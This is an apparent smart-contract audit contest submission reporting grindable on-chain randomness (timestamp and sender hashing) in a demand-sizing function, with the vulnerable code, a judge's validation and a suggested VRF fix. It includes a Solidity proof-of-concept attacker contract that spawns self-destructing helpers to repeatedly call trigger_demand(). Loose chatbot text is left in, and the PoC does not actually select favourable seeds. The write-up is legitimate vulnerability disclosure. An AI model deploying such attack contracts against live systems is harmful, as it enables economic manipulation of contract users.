Company Simulator

First Flight #51
Beginner FriendlyDeFi
100 EXP
Submission Details
Severity: medium
Valid

Predictable / Manipulable “Randomness” for demand sizing Description

Author Revealed upon completion

Root + Impact

Description

Expected behavior: Demand size (number of items requested) must not be manipulable by customers, miners, or contract owners in a way that gives financial advantage.

Actual behavior: Demand size is derived from keccak256(block.timestamp, msg.sender) which is predictable and partially controllable by the caller and by miners.


Explanation:
Because block.timestamp is set by miners and msg.sender is controlled by the caller, an attacker can repeatedly call (or craft a contract) and attempt to influence seed to maximize requested. Miners can also reorder or timestamp blocks to favor larger demands.

// Root cause in the codebase with @> marks to highlight the relevant section
seed: uint256 = convert(
keccak256(
concat(
convert(block.timestamp, bytes32), convert(msg.sender, bytes32)
)
),
uint256,
)
@> base: uint256 = seed % 5 # 0 to 4
@> if (seed % 100) < (rep - 50):
@> extra_item_chance = 1

Risk

Likelihood:

  • High : miners and callers can influence timestamp and msg.sender. On testnets or colluding miners, manipulation is trivial.

Impact:

  • Over-requesting items repeatedly (higher revenue to company) or draining limited inventory in CompanyGame.

Economic manipulation: attacker increases chance of larger orders, potentially gaining advantage (arbitrage, reputation manipulation).

Proof of Concept

blast(n) deploys n helpers; each helper forwards its ETH to trigger_demand() and then self-destructs, returning leftover to the original EOA (via tx.origin).

Keep n small on real networks to avoid gas limits. Use on local/testnet only.

If you want, I can make it even shorter (e.g., single helper deploy function) or add a small withdraw in Attacker.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface ICustomerEngine { function trigger_demand() external payable; }
/// @notice Minimal PoC: deploy small helper contracts that call trigger_demand() in ctor.
/// Use only on testnets / with permission.
contract Helper {
constructor(address target) payable {
ICustomerEngine(target).trigger_demand{value: msg.value}();
selfdestruct(payable(tx.origin)); // return leftover to tx origin (EOA)
}
}
contract Attacker {
address public immutable target;
constructor(address _target) { target = _target; }
/// @notice Deploy `n` helpers splitting msg.value evenly among them.
/// Each helper calls trigger_demand() once in its constructor.
function blast(uint256 n) external payable {
require(n > 0 && msg.value >= n, "invalid");
uint256 per = msg.value / n;
for (uint256 i = 0; i < n; i++) {
new Helper{value: per}(target);
}
}
}

Recommended Mitigation

Replace on-chain pseudo-randomness with safer approaches or remove randomness:

Option A — Use an oracle (Chainlink VRF) for randomness (recommended for production):

- remove this code
+ add this code
- seed: uint256 = convert(keccak256(concat(convert(block.timestamp, bytes32), convert(msg.sender, bytes32))), uint256)
- base: uint256 = seed % 5
+ # Use verifiable randomness (off-chain oracle) or deterministic non-manipulable source
+ # For example: request randomness via Chainlink VRF, then use the returned randomness here
Updates

Lead Judging Commences

0xshaedyw Lead Judge
4 days ago
0xshaedyw Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Medium – Predictable Seed

Demand randomness is grindable via timestamp and sender, enabling biased outcomes and reputation manipulation.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.